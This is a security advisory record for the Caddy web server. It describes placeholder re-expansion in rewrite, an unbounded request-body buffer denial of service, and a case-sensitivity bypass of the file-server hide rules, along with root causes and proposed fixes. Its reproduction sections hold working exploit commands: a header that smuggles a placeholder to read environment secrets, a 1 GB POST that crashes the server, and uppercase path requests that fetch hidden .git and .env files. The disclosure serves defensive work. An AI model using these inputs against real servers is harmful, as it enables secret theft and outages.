{"id":"GHSA-j8px-rmrx-76h9","summary":"Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass","details":"# Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer\n\n**Tested against:** `caddy:2.11.3` (official Docker image, SHA verified at runtime)\n**Reproduction environment:** Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits\n\nThis advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified `caddy:2.11.3` image with the minimal Caddyfile that the documentation suggests for the affected feature.\n\n---\n\n## Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure\n\n**File:** `modules/caddyhttp/rewrite/rewrite.go:215-249` and `buildQueryString` at `327`\n**Class:** CWE-94 (Code Injection), same bug class as CVE-2026-30852 (`vars_regexp`)\n**Severity:** Low (requires operator config with trailing `?` in rewrite URI)\n\n### Root cause\n\nWhen the operator's `rewrite` URI template:\n1. Contains a placeholder that resolves to request data (e.g. `{http.request.header.X-Foo}`), AND\n2. Ends with a literal `?` (with empty query side)\n\n…then the bytes produced by the **first** Replacer pass (which include attacker-controlled header values) are fed through `buildQueryString`, which runs a **second** Replacer pass and resolves any placeholders the attacker injected.\n\n```go\n// rewrite.go (abridged)\nnewPath = repl.ReplaceAll(path, \"\")            // pass 1 — header expanded\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n    var injectedQuery string\n    newPath, injectedQuery = before, after\n    if query == \"\" {                            // trailing-? branch\n        query = injectedQuery                   // attacker bytes flow into 'query'\n    }\n}\nif query != \"\" {\n    newQuery = buildQueryString(query, repl)    // pass 2 — RE-EXPANDS attacker input\n}\n```\n\nThis is the same gadget that was patched in `vars_regexp` (CVE-2026-30852). The fix did not extend to `rewrite`, and there is no equivalent regression test for it in `rewrite_test.go` (compare `vars_test.go:63,69,75`).\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n    admin off\n    auto_https off\n}\n\n:8080 {\n    rewrite * /serve/{http.request.header.X-Fwd}?\n    respond \"PATH={path} QUERY={query}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n  caddy:\n    image: caddy:2.11.3\n    environment:\n      DATABASE_URL: \"postgres://leaked:supersecret@dbserver/production\"\n    ports: [\"8080:8080\"]\n    volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit:\n```\n$ docker compose up -d\n$ curl \"http://localhost:8080/anything\" -H \"X-Fwd: foo?{env.DATABASE_URL}=leak\"\nPATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak\n```\n\nURL-decoded query: `postgres://leaked:supersecret@dbserver/production=leak`. The `DATABASE_URL` env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via `reverse_proxy`, and be readable via `{http.request.uri.query}` in any downstream handler.\n\n### Available read primitives\n\nThe same gadget exposes any placeholder the attacker can name in their injected substring:\n- `{env.X}` — any env var on the Caddy process\n- `{file./path}` — any file readable by the Caddy process (if `file` provider is registered)\n- `{vars.X}` — Caddy-internal request variables\n\n### Suggested fix (mirrors the CVE-2026-30852 patch)\n\nAfter splitting at `?`, sanitize placeholder syntax in the injected query before passing it to `buildQueryString`:\n\n```go\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n    var injectedQuery string\n    newPath, injectedQuery = before, after\n    if query == \"\" {\n        injectedQuery = strings.ReplaceAll(injectedQuery, \"{\", \"%7B\")\n        injectedQuery = strings.ReplaceAll(injectedQuery, \"}\", \"%7D\")\n        query = injectedQuery\n    }\n}\n```\n\nAlso recommend adding equivalent regression tests in `rewrite_test.go` to the three \"is not re-expanded\" tests in `vars_test.go`.\n\n---\n\n## Issue 2: Unbounded body buffer via `{http.request.body}` placeholder — memory exhaustion DoS\n\n**File:** `modules/caddyhttp/replacer.go:217-245` (placeholder resolution for `http.request.body`)\n**Class:** CWE-770 (Allocation of Resources Without Limits)\n**Severity:** Moderate (any operator using the documented `log_append body {http.request.body}` pattern is vulnerable)\n\n### Root cause\n\nWhen any handler references the `{http.request.body}` placeholder, the replacer code path reads the entire request body into a byte slice via `io.Copy(buf, req.Body)` with **no `LimitReader`** wrapping. The `needsEarly` flag bypasses the `request_body` middleware's size limit, because the placeholder is resolved before that middleware sees the request.\n\nThis means an attacker can send a request body of any size (up to whatever `Content-Length` they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.\n\n### Reproduction (real Caddy 2.11.3, 512 MB container cap)\n\n`Caddyfile`:\n```\n{\n    admin off\n    auto_https off\n}\n\n:8080 {\n    log_append body {http.request.body}\n    respond \"OK, length received: {http.request.header.Content-Length}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n  caddy:\n    image: caddy:2.11.3\n    mem_limit: 512m\n    memswap_limit: 512m\n    ports: [\"8080:8080\"]\n    volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit (Windows PowerShell):\n```\nPS\u003e fsutil file createnew big.bin 1073741824\nFile C:\\caddy-verify\\test3-body-dos\\big.bin is created\nPS\u003e curl.exe -X POST --data-binary \"@big.bin\" -H \"Expect:\" --max-time 120 http://localhost:8080/\ncurl: (28) Operation timed out after 120010 milliseconds with 0 bytes received\n```\n\nContainer state immediately after:\n```\nPS\u003e docker ps -a --filter name=caddy-verify-3\nCONTAINER ID   IMAGE         STATUS                       NAMES\n7f8ba392e7b5   caddy:2.11.3  Exited (137) 2 minutes ago   caddy-verify-3\n\nPS\u003e docker inspect caddy-verify-3 --format \"ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}\"\nExitCode=137 OOMKilled=true\n```\n\n`OOMKilled=true` is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after `\"serving initial configuration\"` with no error message, which is the signature of a process killed mid-allocation by SIGKILL.\n\nA small body works fine:\n```\n$ curl -X POST -d \"hello world\" http://localhost:8080/\nOK, length received: 11\n```\n\n### Real-world exploitability\n\nThe `log_append body {http.request.body}` pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like `expression {http.request.body}.contains('admin')`, custom header forwarding with `header_up X-Original-Body {http.request.body}`, and any third-party module that resolves the placeholder.\n\nContainer memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.\n\n### Suggested fix\n\nWrap the body read with a `LimitReader` keyed off either:\n1. The operator's configured `request_body.max_size` (if set), or\n2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.\n\nIf the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.\n\n---\n\n## Issue 3: `fileHidden()` case-sensitive pattern bypass — exposes \"hidden\" files via case variation\n\n**File:** `modules/caddyhttp/fileserver/staticfiles.go:669-718` (the `fileHidden` function and `filepath.Match` call)\n**Class:** CWE-178 (Improper Handling of Case Sensitivity)\n**Severity:** Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)\n\n### Root cause\n\n`fileHidden()` uses `filepath.Match`, which is **case-sensitive**. However:\n- **macOS APFS** is case-insensitive by default\n- **Windows NTFS** is case-insensitive by default\n- **Linux ext4** can be configured with the `casefold` flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side\n\nOn a case-insensitive filesystem, the OS resolves `/.git` and `/.GIT` to the same directory, but Caddy's hide check only fires on the exact-case literal `.git`. Result: the file is served via the uppercase URL.\n\nOn a case-sensitive filesystem where both `.git` and `.GIT` exist as separate directories, Caddy hides only `.git` and exposes `.GIT`.\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n    admin off\n    auto_https off\n}\n\n:8080 {\n    root * /srv\n    file_server {\n        hide .git .env secrets\n    }\n}\n```\n\nSetup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):\n\n```\n/srv/.git/HEAD                \"ref: refs/heads/main\"\n/srv/.GIT/HEAD                \"ref: refs/heads/main (UPPERCASE BYPASS)\"\n/srv/.env                     \"DATABASE_URL=postgres://user:pass@host\"\n/srv/.ENV                     \"DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\"\n/srv/secrets/api.txt          \"supersecret_api_key=sk_live_real\"\n/srv/SECRETS/api.txt          \"supersecret_api_key=sk_live_real (UPPERCASE BYPASS)\"\n```\n\nTest transcript (all three hide rules — `.git`, `.env`, `secrets` — bypassed via uppercase):\n\n```\nPS\u003e curl.exe -i http://localhost:8080/.git/HEAD\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/.GIT/HEAD\nHTTP/1.1 200 OK\nContent-Length: 40\nref: refs/heads/main (UPPERCASE BYPASS)\n\nPS\u003e curl.exe -i http://localhost:8080/.env\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/.ENV\nHTTP/1.1 200 OK\nContent-Length: 58\nDATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\n\nPS\u003e curl.exe -i http://localhost:8080/secrets/api.txt\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/SECRETS/api.txt\nHTTP/1.1 200 OK\nContent-Length: 52\nContent-Type: text/plain; charset=utf-8\nsupersecret_api_key=sk_live_real (UPPERCASE BYPASS)\n```\n\nThree separate hide rules, three separate uppercase bypasses, all 200 OK with the \"hidden\" content served.\n\n### Why this matters in practice\n\n`.git`, `.env`, and `secrets/` are three of the most common entries in production Caddy `hide` configurations because they correspond to high-value attacker targets:\n- `.git/HEAD` + `.git/config` + `.git/objects/` → source code disclosure\n- `.env` → credentials, API keys, database connection strings\n- `secrets/` → operator-named bucket of anything sensitive\n\nThe bug means that on macOS and Windows hosts (and a subset of Linux hosts), the `hide` directive provides **no protection at all** for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.\n\n### Suggested fix\n\nIn `fileHidden()`, on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable \"is this filesystem case-insensitive\" check, so a reasonable conservative approach is to always lowercase both sides on `GOOS=darwin` and `GOOS=windows`, and to document for Linux operators that they should not rely on `hide` if their filesystem has `casefold` enabled or if they manage their files with case-folding tools.\n\nAlternative: enforce that paths matched by `hide` are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.\n\n---\n\n## Reproduction kit\n\nA full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official `caddy:2.11.3` Docker image.\n\n## Reporter\n\nIndependent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.","aliases":["CVE-2026-77281","CVE-2026-92284","CVE-2026-92700"],"modified":"2026-09-24T03:55:35.951087931Z","published":"2026-09-18T13:09:27Z","database_specific":{"github_reviewed_at":"2026-09-18T13:09:27Z","nvd_published_at":"2026-09-17T21:17:37Z","cwe_ids":["CWE-94","CWE-178","CWE-770"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77281"},{"type":"WEB","url":"https://github.com/caddyserver/caddy/pull/7761"},{"type":"WEB","url":"https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb"},{"type":"PACKAGE","url":"https://github.com/caddyserver/caddy"},{"type":"WEB","url":"https://github.com/caddyserver/caddy/releases/tag/v2.11.4"}],"affected":[{"package":{"name":"github.com/caddyserver/caddy/v2","ecosystem":"Go","purl":"pkg:golang/github.com/caddyserver/caddy/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.11.4"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.11.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-j8px-rmrx-76h9/GHSA-j8px-rmrx-76h9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"}]}